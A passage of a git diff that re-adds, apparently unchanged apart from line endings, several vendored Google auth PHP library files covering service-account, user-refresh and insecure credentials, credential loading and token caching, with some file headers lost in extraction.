- * @return array updateMetadata function - */ - public function getUpdateMetadataFunc() - { - return array($this, 'updateMetadata'); - } - - /** - * Updates metadata with the appropriate header metadata. - * - * @param array $metadata metadata hashmap - * @param string $unusedAuthUri optional auth uri - * @param callable $httpHandler callback which delivers psr7 request - * Note: this param is unused here, only included here for - * consistency with other credentials class - * - * @return array updated metadata hashmap - */ - public function updateMetadata( - $metadata, - $unusedAuthUri = null, - callable $httpHandler = null - ) { - $metadata_copy = $metadata; - $metadata_copy[self::SELECTOR_KEY] = $this->selector; - $metadata_copy[self::TOKEN_KEY] = $this->token; - - return $metadata_copy; - } -} +selector = $selector; + $this->token = $token; + } + + /** + * export a callback function which updates runtime metadata. + * + * @return array updateMetadata function + */ + public function getUpdateMetadataFunc() + { + return array($this, 'updateMetadata'); + } + + /** + * Updates metadata with the appropriate header metadata. + * + * @param array $metadata metadata hashmap + * @param string $unusedAuthUri optional auth uri + * @param callable $httpHandler callback which delivers psr7 request + * Note: this param is unused here, only included here for + * consistency with other credentials class + * + * @return array updated metadata hashmap + */ + public function updateMetadata( + $metadata, + $unusedAuthUri = null, + callable $httpHandler = null + ) { + $metadata_copy = $metadata; + $metadata_copy[self::SELECTOR_KEY] = $this->selector; + $metadata_copy[self::TOKEN_KEY] = $this->token; + + return $metadata_copy; + } +} diff --git a/vendor/google/auth/src/Credentials/InsecureCredentials.php b/vendor/google/auth/src/Credentials/InsecureCredentials.php index 180f2a2f02..dae894fabc 100644 --- a/vendor/google/auth/src/Credentials/InsecureCredentials.php +++ b/vendor/google/auth/src/Credentials/InsecureCredentials.php @@ -1,70 +1,70 @@ - '' - ]; - - /** - * Fetches the auth token. In this case it returns an empty string. - * - * @param callable $httpHandler - * @return array A set of auth related metadata, containing the following - * keys: - * - access_token (string) - */ - public function fetchAuthToken(callable $httpHandler = null) - { - return $this->token; - } - - /** - * Returns the cache key. In this case it returns a null value, disabling - * caching. - * - * @return string|null - */ - public function getCacheKey() - { - return null; - } - - /** - * Fetches the last received token. In this case, it returns the same empty string - * auth token. - * - * @return array - */ - public function getLastReceivedToken() - { - return $this->token; - } -} + '' + ]; + + /** + * Fetches the auth token. In this case it returns an empty string. + * + * @param callable $httpHandler + * @return array A set of auth related metadata, containing the following + * keys: + * - access_token (string) + */ + public function fetchAuthToken(callable $httpHandler = null) + { + return $this->token; + } + + /** + * Returns the cache key. In this case it returns a null value, disabling + * caching. + * + * @return string|null + */ + public function getCacheKey() + { + return null; + } + + /** + * Fetches the last received token. In this case, it returns the same empty string + * auth token. + * + * @return array + */ + public function getLastReceivedToken() + { + return $this->token; + } +} diff --git a/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php b/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php index 1eff8465e2..da972497e2 100644 --- a/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php +++ b/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php @@ -1,338 +1,338 @@ -push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'auth' => 'google_auth' // authorize all requests - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - */ -class ServiceAccountCredentials extends CredentialsLoader implements - GetQuotaProjectInterface, - SignBlobInterface, - ProjectIdProviderInterface -{ - use ServiceAccountSignerTrait; - - /** - * The OAuth2 instance used to conduct authorization. - * - * @var OAuth2 - */ - protected $auth; - - /** - * The quota project associated with the JSON credentials - * - * @var string - */ - protected $quotaProject; - - /* - * @var string|null - */ - protected $projectId; - - /* - * @var array|null - */ - private $lastReceivedJwtAccessToken; - - /* - * @var bool - */ - private $useJwtAccessWithScope = false; - - /* - * @var ServiceAccountJwtAccessCredentials|null - */ - private $jwtAccessCredentials; - - /** - * Create a new ServiceAccountCredentials. - * - * @param string|array $scope the scope of the access request, expressed - * either as an Array or as a space-delimited String. - * @param string|array $jsonKey JSON credential file path or JSON credentials - * as an associative array - * @param string $sub an email address account to impersonate, in situations when - * the service account has been delegated domain wide access. - * @param string $targetAudience The audience for the ID token. - */ - public function __construct( - $scope, - $jsonKey, - $sub = null, - $targetAudience = null - ) { - if (is_string($jsonKey)) { - if (!file_exists($jsonKey)) { - throw new \InvalidArgumentException('file does not exist'); - } - $jsonKeyStream = file_get_contents($jsonKey); - if (!$jsonKey = json_decode($jsonKeyStream, true)) { - throw new \LogicException('invalid json for auth config'); - } - } - if (!array_key_exists('client_email', $jsonKey)) { - throw new \InvalidArgumentException( - 'json key is missing the client_email field' - ); - } - if (!array_key_exists('private_key', $jsonKey)) { - throw new \InvalidArgumentException( - 'json key is missing the private_key field' - ); - } - if (array_key_exists('quota_project_id', $jsonKey)) { - $this->quotaProject = (string) $jsonKey['quota_project_id']; - } - if ($scope && $targetAudience) { - throw new InvalidArgumentException( - 'Scope and targetAudience cannot both be supplied' - ); - } - $additionalClaims = []; - if ($targetAudience) { - $additionalClaims = ['target_audience' => $targetAudience]; - } - $this->auth = new OAuth2([ - 'audience' => self::TOKEN_CREDENTIAL_URI, - 'issuer' => $jsonKey['client_email'], - 'scope' => $scope, - 'signingAlgorithm' => 'RS256', - 'signingKey' => $jsonKey['private_key'], - 'sub' => $sub, - 'tokenCredentialUri' => self::TOKEN_CREDENTIAL_URI, - 'additionalClaims' => $additionalClaims, - ]); - - $this->projectId = isset($jsonKey['project_id']) - ? $jsonKey['project_id'] - : null; - } - - /** - * When called, the ServiceAccountCredentials will use an instance of - * ServiceAccountJwtAccessCredentials to fetch (self-sign) an access token - * even when only scopes are supplied. Otherwise, - * ServiceAccountJwtAccessCredentials is only called when no scopes and an - * authUrl (audience) is suppled. - */ - public function useJwtAccessWithScope() - { - $this->useJwtAccessWithScope = true; - } - - /** - * @param callable $httpHandler - * - * @return array A set of auth related metadata, containing the following - * keys: - * - access_token (string) - * - expires_in (int) - * - token_type (string) - */ - public function fetchAuthToken(callable $httpHandler = null) - { - if ($this->useSelfSignedJwt()) { - $jwtCreds = $this->createJwtAccessCredentials(); - - $accessToken = $jwtCreds->fetchAuthToken($httpHandler); - - if ($lastReceivedToken = $jwtCreds->getLastReceivedToken()) { - // Keep self-signed JWTs in memory as the last received token - $this->lastReceivedJwtAccessToken = $lastReceivedToken; - } - - return $accessToken; - } - return $this->auth->fetchAuthToken($httpHandler); - } - - /** - * @return string - */ - public function getCacheKey() - { - $key = $this->auth->getIssuer() . ':' . $this->auth->getCacheKey(); - if ($sub = $this->auth->getSub()) { - $key .= ':' . $sub; - } - - return $key; - } - - /** - * @return array - */ - public function getLastReceivedToken() - { - // If self-signed JWTs are being used, fetch the last received token - // from memory. Else, fetch it from OAuth2 - return $this->useSelfSignedJwt() - ? $this->lastReceivedJwtAccessToken - : $this->auth->getLastReceivedToken(); - } - - /** - * Get the project ID from the service account keyfile. - * - * Returns null if the project ID does not exist in the keyfile. - * - * @param callable $httpHandler Not used by this credentials type. - * @return string|null - */ - public function getProjectId(callable $httpHandler = null) - { - return $this->projectId; - } - - /** - * Updates metadata with the authorization token. - * - * @param array $metadata metadata hashmap - * @param string $authUri optional auth uri - * @param callable $httpHandler callback which delivers psr7 request - * @return array updated metadata hashmap - */ - public function updateMetadata( - $metadata, - $authUri = null, - callable $httpHandler = null - ) { - // scope exists. use oauth implementation - if (!$this->useSelfSignedJwt()) { - return parent::updateMetadata($metadata, $authUri, $httpHandler); - } - - $jwtCreds = $this->createJwtAccessCredentials(); - if ($this->auth->getScope()) { - // Prefer user-provided "scope" to "audience" - $updatedMetadata = $jwtCreds->updateMetadata($metadata, null, $httpHandler); - } else { - $updatedMetadata = $jwtCreds->updateMetadata($metadata, $authUri, $httpHandler); - } - - if ($lastReceivedToken = $jwtCreds->getLastReceivedToken()) { - // Keep self-signed JWTs in memory as the last received token - $this->lastReceivedJwtAccessToken = $lastReceivedToken; - } - - return $updatedMetadata; - } - - private function createJwtAccessCredentials() - { - if (!$this->jwtAccessCredentials) { - // Create credentials for self-signing a JWT (JwtAccess) - $credJson = array( - 'private_key' => $this->auth->getSigningKey(), - 'client_email' => $this->auth->getIssuer(), - ); - $this->jwtAccessCredentials = new ServiceAccountJwtAccessCredentials( - $credJson, - $this->auth->getScope() - ); - } - - return $this->jwtAccessCredentials; - } - - /** - * @param string $sub an email address account to impersonate, in situations when - * the service account has been delegated domain wide access. - */ - public function setSub($sub) - { - $this->auth->setSub($sub); - } - - /** - * Get the client name from the keyfile. - * - * In this case, it returns the keyfile's client_email key. - * - * @param callable $httpHandler Not used by this credentials type. - * @return string - */ - public function getClientName(callable $httpHandler = null) - { - return $this->auth->getIssuer(); - } - - /** - * Get the quota project used for this API request - * - * @return string|null - */ - public function getQuotaProject() - { - return $this->quotaProject; - } - - private function useSelfSignedJwt() - { - // If claims are set, this call is for "id_tokens" - if ($this->auth->getAdditionalClaims()) { - return false; - } - - // When true, ServiceAccountCredentials will always use JwtAccess for access tokens - if ($this->useJwtAccessWithScope) { - return true; - } - return is_null($this->auth->getScope()); - } -} +push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'auth' => 'google_auth' // authorize all requests + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + */ +class ServiceAccountCredentials extends CredentialsLoader implements + GetQuotaProjectInterface, + SignBlobInterface, + ProjectIdProviderInterface +{ + use ServiceAccountSignerTrait; + + /** + * The OAuth2 instance used to conduct authorization. + * + * @var OAuth2 + */ + protected $auth; + + /** + * The quota project associated with the JSON credentials + * + * @var string + */ + protected $quotaProject; + + /* + * @var string|null + */ + protected $projectId; + + /* + * @var array|null + */ + private $lastReceivedJwtAccessToken; + + /* + * @var bool + */ + private $useJwtAccessWithScope = false; + + /* + * @var ServiceAccountJwtAccessCredentials|null + */ + private $jwtAccessCredentials; + + /** + * Create a new ServiceAccountCredentials. + * + * @param string|array $scope the scope of the access request, expressed + * either as an Array or as a space-delimited String. + * @param string|array $jsonKey JSON credential file path or JSON credentials + * as an associative array + * @param string $sub an email address account to impersonate, in situations when + * the service account has been delegated domain wide access. + * @param string $targetAudience The audience for the ID token. + */ + public function __construct( + $scope, + $jsonKey, + $sub = null, + $targetAudience = null + ) { + if (is_string($jsonKey)) { + if (!file_exists($jsonKey)) { + throw new \InvalidArgumentException('file does not exist'); + } + $jsonKeyStream = file_get_contents($jsonKey); + if (!$jsonKey = json_decode($jsonKeyStream, true)) { + throw new \LogicException('invalid json for auth config'); + } + } + if (!array_key_exists('client_email', $jsonKey)) { + throw new \InvalidArgumentException( + 'json key is missing the client_email field' + ); + } + if (!array_key_exists('private_key', $jsonKey)) { + throw new \InvalidArgumentException( + 'json key is missing the private_key field' + ); + } + if (array_key_exists('quota_project_id', $jsonKey)) { + $this->quotaProject = (string) $jsonKey['quota_project_id']; + } + if ($scope && $targetAudience) { + throw new InvalidArgumentException( + 'Scope and targetAudience cannot both be supplied' + ); + } + $additionalClaims = []; + if ($targetAudience) { + $additionalClaims = ['target_audience' => $targetAudience]; + } + $this->auth = new OAuth2([ + 'audience' => self::TOKEN_CREDENTIAL_URI, + 'issuer' => $jsonKey['client_email'], + 'scope' => $scope, + 'signingAlgorithm' => 'RS256', + 'signingKey' => $jsonKey['private_key'], + 'sub' => $sub, + 'tokenCredentialUri' => self::TOKEN_CREDENTIAL_URI, + 'additionalClaims' => $additionalClaims, + ]); + + $this->projectId = isset($jsonKey['project_id']) + ? $jsonKey['project_id'] + : null; + } + + /** + * When called, the ServiceAccountCredentials will use an instance of + * ServiceAccountJwtAccessCredentials to fetch (self-sign) an access token + * even when only scopes are supplied. Otherwise, + * ServiceAccountJwtAccessCredentials is only called when no scopes and an + * authUrl (audience) is suppled. + */ + public function useJwtAccessWithScope() + { + $this->useJwtAccessWithScope = true; + } + + /** + * @param callable $httpHandler + * + * @return array A set of auth related metadata, containing the following + * keys: + * - access_token (string) + * - expires_in (int) + * - token_type (string) + */ + public function fetchAuthToken(callable $httpHandler = null) + { + if ($this->useSelfSignedJwt()) { + $jwtCreds = $this->createJwtAccessCredentials(); + + $accessToken = $jwtCreds->fetchAuthToken($httpHandler); + + if ($lastReceivedToken = $jwtCreds->getLastReceivedToken()) { + // Keep self-signed JWTs in memory as the last received token + $this->lastReceivedJwtAccessToken = $lastReceivedToken; + } + + return $accessToken; + } + return $this->auth->fetchAuthToken($httpHandler); + } + + /** + * @return string + */ + public function getCacheKey() + { + $key = $this->auth->getIssuer() . ':' . $this->auth->getCacheKey(); + if ($sub = $this->auth->getSub()) { + $key .= ':' . $sub; + } + + return $key; + } + + /** + * @return array + */ + public function getLastReceivedToken() + { + // If self-signed JWTs are being used, fetch the last received token + // from memory. Else, fetch it from OAuth2 + return $this->useSelfSignedJwt() + ? $this->lastReceivedJwtAccessToken + : $this->auth->getLastReceivedToken(); + } + + /** + * Get the project ID from the service account keyfile. + * + * Returns null if the project ID does not exist in the keyfile. + * + * @param callable $httpHandler Not used by this credentials type. + * @return string|null + */ + public function getProjectId(callable $httpHandler = null) + { + return $this->projectId; + } + + /** + * Updates metadata with the authorization token. + * + * @param array $metadata metadata hashmap + * @param string $authUri optional auth uri + * @param callable $httpHandler callback which delivers psr7 request + * @return array updated metadata hashmap + */ + public function updateMetadata( + $metadata, + $authUri = null, + callable $httpHandler = null + ) { + // scope exists. use oauth implementation + if (!$this->useSelfSignedJwt()) { + return parent::updateMetadata($metadata, $authUri, $httpHandler); + } + + $jwtCreds = $this->createJwtAccessCredentials(); + if ($this->auth->getScope()) { + // Prefer user-provided "scope" to "audience" + $updatedMetadata = $jwtCreds->updateMetadata($metadata, null, $httpHandler); + } else { + $updatedMetadata = $jwtCreds->updateMetadata($metadata, $authUri, $httpHandler); + } + + if ($lastReceivedToken = $jwtCreds->getLastReceivedToken()) { + // Keep self-signed JWTs in memory as the last received token + $this->lastReceivedJwtAccessToken = $lastReceivedToken; + } + + return $updatedMetadata; + } + + private function createJwtAccessCredentials() + { + if (!$this->jwtAccessCredentials) { + // Create credentials for self-signing a JWT (JwtAccess) + $credJson = array( + 'private_key' => $this->auth->getSigningKey(), + 'client_email' => $this->auth->getIssuer(), + ); + $this->jwtAccessCredentials = new ServiceAccountJwtAccessCredentials( + $credJson, + $this->auth->getScope() + ); + } + + return $this->jwtAccessCredentials; + } + + /** + * @param string $sub an email address account to impersonate, in situations when + * the service account has been delegated domain wide access. + */ + public function setSub($sub) + { + $this->auth->setSub($sub); + } + + /** + * Get the client name from the keyfile. + * + * In this case, it returns the keyfile's client_email key. + * + * @param callable $httpHandler Not used by this credentials type. + * @return string + */ + public function getClientName(callable $httpHandler = null) + { + return $this->auth->getIssuer(); + } + + /** + * Get the quota project used for this API request + * + * @return string|null + */ + public function getQuotaProject() + { + return $this->quotaProject; + } + + private function useSelfSignedJwt() + { + // If claims are set, this call is for "id_tokens" + if ($this->auth->getAdditionalClaims()) { + return false; + } + + // When true, ServiceAccountCredentials will always use JwtAccess for access tokens + if ($this->useJwtAccessWithScope) { + return true; + } + return is_null($this->auth->getScope()); + } +} diff --git a/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php b/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php index 12da3930c0..6f5c28a8ce 100644 --- a/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php +++ b/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php @@ -1,205 +1,205 @@ -quotaProject = (string) $jsonKey['quota_project_id']; - } - $this->auth = new OAuth2([ - 'issuer' => $jsonKey['client_email'], - 'sub' => $jsonKey['client_email'], - 'signingAlgorithm' => 'RS256', - 'signingKey' => $jsonKey['private_key'], - 'scope' => $scope, - ]); - - $this->projectId = isset($jsonKey['project_id']) - ? $jsonKey['project_id'] - : null; - } - - /** - * Updates metadata with the authorization token. - * - * @param array $metadata metadata hashmap - * @param string $authUri optional auth uri - * @param callable $httpHandler callback which delivers psr7 request - * @return array updated metadata hashmap - */ - public function updateMetadata( - $metadata, - $authUri = null, - callable $httpHandler = null - ) { - $scope = $this->auth->getScope(); - if (empty($authUri) && empty($scope)) { - return $metadata; - } - - $this->auth->setAudience($authUri); - - return parent::updateMetadata($metadata, $authUri, $httpHandler); - } - - /** - * Implements FetchAuthTokenInterface#fetchAuthToken. - * - * @param callable $httpHandler - * - * @return array|void A set of auth related metadata, containing the - * following keys: - * - access_token (string) - */ - public function fetchAuthToken(callable $httpHandler = null) - { - $audience = $this->auth->getAudience(); - $scope = $this->auth->getScope(); - if (empty($audience) && empty($scope)) { - return null; - } - - if (!empty($audience) && !empty($scope)) { - throw new \UnexpectedValueException( - 'Cannot sign both audience and scope in JwtAccess' - ); - } - - $access_token = $this->auth->toJwt(); - - // Set the self-signed access token in OAuth2 for getLastReceivedToken - $this->auth->setAccessToken($access_token); - - return array('access_token' => $access_token); - } - - /** - * @return string - */ - public function getCacheKey() - { - return $this->auth->getCacheKey(); - } - - /** - * @return array - */ - public function getLastReceivedToken() - { - return $this->auth->getLastReceivedToken(); - } - - /** - * Get the project ID from the service account keyfile. - * - * Returns null if the project ID does not exist in the keyfile. - * - * @param callable $httpHandler Not used by this credentials type. - * @return string|null - */ - public function getProjectId(callable $httpHandler = null) - { - return $this->projectId; - } - - /** - * Get the client name from the keyfile. - * - * In this case, it returns the keyfile's client_email key. - * - * @param callable $httpHandler Not used by this credentials type. - * @return string - */ - public function getClientName(callable $httpHandler = null) - { - return $this->auth->getIssuer(); - } - - /** - * Get the quota project used for this API request - * - * @return string|null - */ - public function getQuotaProject() - { - return $this->quotaProject; - } -} +quotaProject = (string) $jsonKey['quota_project_id']; + } + $this->auth = new OAuth2([ + 'issuer' => $jsonKey['client_email'], + 'sub' => $jsonKey['client_email'], + 'signingAlgorithm' => 'RS256', + 'signingKey' => $jsonKey['private_key'], + 'scope' => $scope, + ]); + + $this->projectId = isset($jsonKey['project_id']) + ? $jsonKey['project_id'] + : null; + } + + /** + * Updates metadata with the authorization token. + * + * @param array $metadata metadata hashmap + * @param string $authUri optional auth uri + * @param callable $httpHandler callback which delivers psr7 request + * @return array updated metadata hashmap + */ + public function updateMetadata( + $metadata, + $authUri = null, + callable $httpHandler = null + ) { + $scope = $this->auth->getScope(); + if (empty($authUri) && empty($scope)) { + return $metadata; + } + + $this->auth->setAudience($authUri); + + return parent::updateMetadata($metadata, $authUri, $httpHandler); + } + + /** + * Implements FetchAuthTokenInterface#fetchAuthToken. + * + * @param callable $httpHandler + * + * @return array|void A set of auth related metadata, containing the + * following keys: + * - access_token (string) + */ + public function fetchAuthToken(callable $httpHandler = null) + { + $audience = $this->auth->getAudience(); + $scope = $this->auth->getScope(); + if (empty($audience) && empty($scope)) { + return null; + } + + if (!empty($audience) && !empty($scope)) { + throw new \UnexpectedValueException( + 'Cannot sign both audience and scope in JwtAccess' + ); + } + + $access_token = $this->auth->toJwt(); + + // Set the self-signed access token in OAuth2 for getLastReceivedToken + $this->auth->setAccessToken($access_token); + + return array('access_token' => $access_token); + } + + /** + * @return string + */ + public function getCacheKey() + { + return $this->auth->getCacheKey(); + } + + /** + * @return array + */ + public function getLastReceivedToken() + { + return $this->auth->getLastReceivedToken(); + } + + /** + * Get the project ID from the service account keyfile. + * + * Returns null if the project ID does not exist in the keyfile. + * + * @param callable $httpHandler Not used by this credentials type. + * @return string|null + */ + public function getProjectId(callable $httpHandler = null) + { + return $this->projectId; + } + + /** + * Get the client name from the keyfile. + * + * In this case, it returns the keyfile's client_email key. + * + * @param callable $httpHandler Not used by this credentials type. + * @return string + */ + public function getClientName(callable $httpHandler = null) + { + return $this->auth->getIssuer(); + } + + /** + * Get the quota project used for this API request + * + * @return string|null + */ + public function getQuotaProject() + { + return $this->quotaProject; + } +} diff --git a/vendor/google/auth/src/Credentials/UserRefreshCredentials.php b/vendor/google/auth/src/Credentials/UserRefreshCredentials.php index 36e814cef1..b17ce5fcdf 100644 --- a/vendor/google/auth/src/Credentials/UserRefreshCredentials.php +++ b/vendor/google/auth/src/Credentials/UserRefreshCredentials.php @@ -1,138 +1,138 @@ -auth = new OAuth2([ - 'clientId' => $jsonKey['client_id'], - 'clientSecret' => $jsonKey['client_secret'], - 'refresh_token' => $jsonKey['refresh_token'], - 'scope' => $scope, - 'tokenCredentialUri' => self::TOKEN_CREDENTIAL_URI, - ]); - if (array_key_exists('quota_project_id', $jsonKey)) { - $this->quotaProject = (string) $jsonKey['quota_project_id']; - } - } - - /** - * @param callable $httpHandler - * - * @return array A set of auth related metadata, containing the following - * keys: - * - access_token (string) - * - expires_in (int) - * - scope (string) - * - token_type (string) - * - id_token (string) - */ - public function fetchAuthToken(callable $httpHandler = null) - { - return $this->auth->fetchAuthToken($httpHandler); - } - - /** - * @return string - */ - public function getCacheKey() - { - return $this->auth->getClientId() . ':' . $this->auth->getCacheKey(); - } - - /** - * @return array - */ - public function getLastReceivedToken() - { - return $this->auth->getLastReceivedToken(); - } - - /** - * Get the quota project used for this API request - * - * @return string|null - */ - public function getQuotaProject() - { - return $this->quotaProject; - } -} +auth = new OAuth2([ + 'clientId' => $jsonKey['client_id'], + 'clientSecret' => $jsonKey['client_secret'], + 'refresh_token' => $jsonKey['refresh_token'], + 'scope' => $scope, + 'tokenCredentialUri' => self::TOKEN_CREDENTIAL_URI, + ]); + if (array_key_exists('quota_project_id', $jsonKey)) { + $this->quotaProject = (string) $jsonKey['quota_project_id']; + } + } + + /** + * @param callable $httpHandler + * + * @return array A set of auth related metadata, containing the following + * keys: + * - access_token (string) + * - expires_in (int) + * - scope (string) + * - token_type (string) + * - id_token (string) + */ + public function fetchAuthToken(callable $httpHandler = null) + { + return $this->auth->fetchAuthToken($httpHandler); + } + + /** + * @return string + */ + public function getCacheKey() + { + return $this->auth->getClientId() . ':' . $this->auth->getCacheKey(); + } + + /** + * @return array + */ + public function getLastReceivedToken() + { + return $this->auth->getLastReceivedToken(); + } + + /** + * Get the quota project used for this API request + * + * @return string|null + */ + public function getQuotaProject() + { + return $this->quotaProject; + } +} diff --git a/vendor/google/auth/src/CredentialsLoader.php b/vendor/google/auth/src/CredentialsLoader.php index 731ebeee0f..c0c3c72ba7 100644 --- a/vendor/google/auth/src/CredentialsLoader.php +++ b/vendor/google/auth/src/CredentialsLoader.php @@ -1,315 +1,315 @@ -setDefaultOption('auth', 'google_auth'); - $subscriber = new Subscriber\AuthTokenSubscriber( - $fetcher, - $httpHandler, - $tokenCallback - ); - $client->getEmitter()->attach($subscriber); - return $client; - } - - $middleware = new Middleware\AuthTokenMiddleware( - $fetcher, - $httpHandler, - $tokenCallback - ); - $stack = \GuzzleHttp\HandlerStack::create(); - $stack->push($middleware); - - return new \GuzzleHttp\Client([ - 'handler' => $stack, - 'auth' => 'google_auth', - ] + $httpClientOptions); - } - - /** - * Create a new instance of InsecureCredentials. - * - * @return InsecureCredentials - */ - public static function makeInsecureCredentials() - { - return new InsecureCredentials(); - } - - /** - * export a callback function which updates runtime metadata. - * - * @return array updateMetadata function - * @deprecated - */ - public function getUpdateMetadataFunc() - { - return array($this, 'updateMetadata'); - } - - /** - * Updates metadata with the authorization token. - * - * @param array $metadata metadata hashmap - * @param string $authUri optional auth uri - * @param callable $httpHandler callback which delivers psr7 request - * @return array updated metadata hashmap - */ - public function updateMetadata( - $metadata, - $authUri = null, - callable $httpHandler = null - ) { - if (isset($metadata[self::AUTH_METADATA_KEY])) { - // Auth metadata has already been set - return $metadata; - } - $result = $this->fetchAuthToken($httpHandler); - if (!isset($result['access_token'])) { - return $metadata; - } - $metadata_copy = $metadata; - $metadata_copy[self::AUTH_METADATA_KEY] = array('Bearer ' . $result['access_token']); - - return $metadata_copy; - } - - /** - * Gets a callable which returns the default device certification. - * - * @throws UnexpectedValueException - * @return callable|null - */ - public static function getDefaultClientCertSource() - { - if (!$clientCertSourceJson = self::loadDefaultClientCertSourceFile()) { - return null; - } - $clientCertSourceCmd = $clientCertSourceJson['cert_provider_command']; - - return function () use ($clientCertSourceCmd) { - $cmd = array_map('escapeshellarg', $clientCertSourceCmd); - exec(implode(' ', $cmd), $output, $returnVar); - - if (0 === $returnVar) { - return implode(PHP_EOL, $output); - } - throw new RuntimeException( - '"cert_provider_command" failed with a nonzero exit code' - ); - }; - } - - /** - * Determines whether or not the default device certificate should be loaded. - * - * @return bool - */ - public static function shouldLoadClientCertSource() - { - return filter_var(getenv(self::MTLS_CERT_ENV_VAR), FILTER_VALIDATE_BOOLEAN); - } - - private static function loadDefaultClientCertSourceFile() - { - $rootEnv = self::isOnWindows() ? 'APPDATA' : 'HOME'; - $path = sprintf('%s/%s', getenv($rootEnv), self::MTLS_WELL_KNOWN_PATH); - if (!file_exists($path)) { - return null; - } - $jsonKey = file_get_contents($path); - $clientCertSourceJson = json_decode($jsonKey, true); - if (!$clientCertSourceJson) { - throw new UnexpectedValueException('Invalid client cert source JSON'); - } - if (!isset($clientCertSourceJson['cert_provider_command'])) { - throw new UnexpectedValueException( - 'cert source requires "cert_provider_command"' - ); - } - if (!is_array($clientCertSourceJson['cert_provider_command'])) { - throw new UnexpectedValueException( - 'cert source expects "cert_provider_command" to be an array' - ); - } - return $clientCertSourceJson; - } -} +setDefaultOption('auth', 'google_auth'); + $subscriber = new Subscriber\AuthTokenSubscriber( + $fetcher, + $httpHandler, + $tokenCallback + ); + $client->getEmitter()->attach($subscriber); + return $client; + } + + $middleware = new Middleware\AuthTokenMiddleware( + $fetcher, + $httpHandler, + $tokenCallback + ); + $stack = \GuzzleHttp\HandlerStack::create(); + $stack->push($middleware); + + return new \GuzzleHttp\Client([ + 'handler' => $stack, + 'auth' => 'google_auth', + ] + $httpClientOptions); + } + + /** + * Create a new instance of InsecureCredentials. + * + * @return InsecureCredentials + */ + public static function makeInsecureCredentials() + { + return new InsecureCredentials(); + } + + /** + * export a callback function which updates runtime metadata. + * + * @return array updateMetadata function + * @deprecated + */ + public function getUpdateMetadataFunc() + { + return array($this, 'updateMetadata'); + } + + /** + * Updates metadata with the authorization token. + * + * @param array $metadata metadata hashmap + * @param string $authUri optional auth uri + * @param callable $httpHandler callback which delivers psr7 request + * @return array updated metadata hashmap + */ + public function updateMetadata( + $metadata, + $authUri = null, + callable $httpHandler = null + ) { + if (isset($metadata[self::AUTH_METADATA_KEY])) { + // Auth metadata has already been set + return $metadata; + } + $result = $this->fetchAuthToken($httpHandler); + if (!isset($result['access_token'])) { + return $metadata; + } + $metadata_copy = $metadata; + $metadata_copy[self::AUTH_METADATA_KEY] = array('Bearer ' . $result['access_token']); + + return $metadata_copy; + } + + /** + * Gets a callable which returns the default device certification. + * + * @throws UnexpectedValueException + * @return callable|null + */ + public static function getDefaultClientCertSource() + { + if (!$clientCertSourceJson = self::loadDefaultClientCertSourceFile()) { + return null; + } + $clientCertSourceCmd = $clientCertSourceJson['cert_provider_command']; + + return function () use ($clientCertSourceCmd) { + $cmd = array_map('escapeshellarg', $clientCertSourceCmd); + exec(implode(' ', $cmd), $output, $returnVar); + + if (0 === $returnVar) { + return implode(PHP_EOL, $output); + } + throw new RuntimeException( + '"cert_provider_command" failed with a nonzero exit code' + ); + }; + } + + /** + * Determines whether or not the default device certificate should be loaded. + * + * @return bool + */ + public static function shouldLoadClientCertSource() + { + return filter_var(getenv(self::MTLS_CERT_ENV_VAR), FILTER_VALIDATE_BOOLEAN); + } + + private static function loadDefaultClientCertSourceFile() + { + $rootEnv = self::isOnWindows() ? 'APPDATA' : 'HOME'; + $path = sprintf('%s/%s', getenv($rootEnv), self::MTLS_WELL_KNOWN_PATH); + if (!file_exists($path)) { + return null; + } + $jsonKey = file_get_contents($path); + $clientCertSourceJson = json_decode($jsonKey, true); + if (!$clientCertSourceJson) { + throw new UnexpectedValueException('Invalid client cert source JSON'); + } + if (!isset($clientCertSourceJson['cert_provider_command'])) { + throw new UnexpectedValueException( + 'cert source requires "cert_provider_command"' + ); + } + if (!is_array($clientCertSourceJson['cert_provider_command'])) { + throw new UnexpectedValueException( + 'cert source expects "cert_provider_command" to be an array' + ); + } + return $clientCertSourceJson; + } +} diff --git a/vendor/google/auth/src/FetchAuthTokenCache.php b/vendor/google/auth/src/FetchAuthTokenCache.php index 20877526dc..7b02584324 100644 --- a/vendor/google/auth/src/FetchAuthTokenCache.php +++ b/vendor/google/auth/src/FetchAuthTokenCache.php @@ -1,278 +1,278 @@ -fetcher = $fetcher; - $this->cache = $cache; - $this->cacheConfig = array_merge([ - 'lifetime' => 1500, - 'prefix' => '', - ], (array) $cacheConfig); - } - - /** - * Implements FetchAuthTokenInterface#fetchAuthToken. - * - * Checks the cache for a valid auth token and fetches the auth tokens - * from the supplied fetcher. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return array the response - * @throws \Exception - */ - public function fetchAuthToken(callable $httpHandler = null) - { - if ($cached = $this->fetchAuthTokenFromCache()) { - return $cached; - } - - $auth_token = $this->fetcher->fetchAuthToken($httpHandler); - - $this->saveAuthTokenInCache($auth_token); - - return $auth_token; - } - - /** - * @return string - */ - public function getCacheKey() - { - return $this->getFullCacheKey($this->fetcher->getCacheKey()); - } - - /** - * @return array|null - */ - public function getLastReceivedToken() - { - return $this->fetcher->getLastReceivedToken(); - } - - /** - * Get the client name from the fetcher. - * - * @param callable $httpHandler An HTTP handler to deliver PSR7 requests. - * @return string - */ - public function getClientName(callable $httpHandler = null) - { - if (!$this->fetcher instanceof SignBlobInterface) { - throw new \RuntimeException( - 'Credentials fetcher does not implement ' . - 'Google\Auth\SignBlobInterface' - ); - } - - return $this->fetcher->getClientName($httpHandler); - } - - /** - * Sign a blob using the fetcher. - * - * @param string $stringToSign The string to sign. - * @param bool $forceOpenSsl Require use of OpenSSL for local signing. Does - * not apply to signing done using external services. **Defaults to** - * `false`. - * 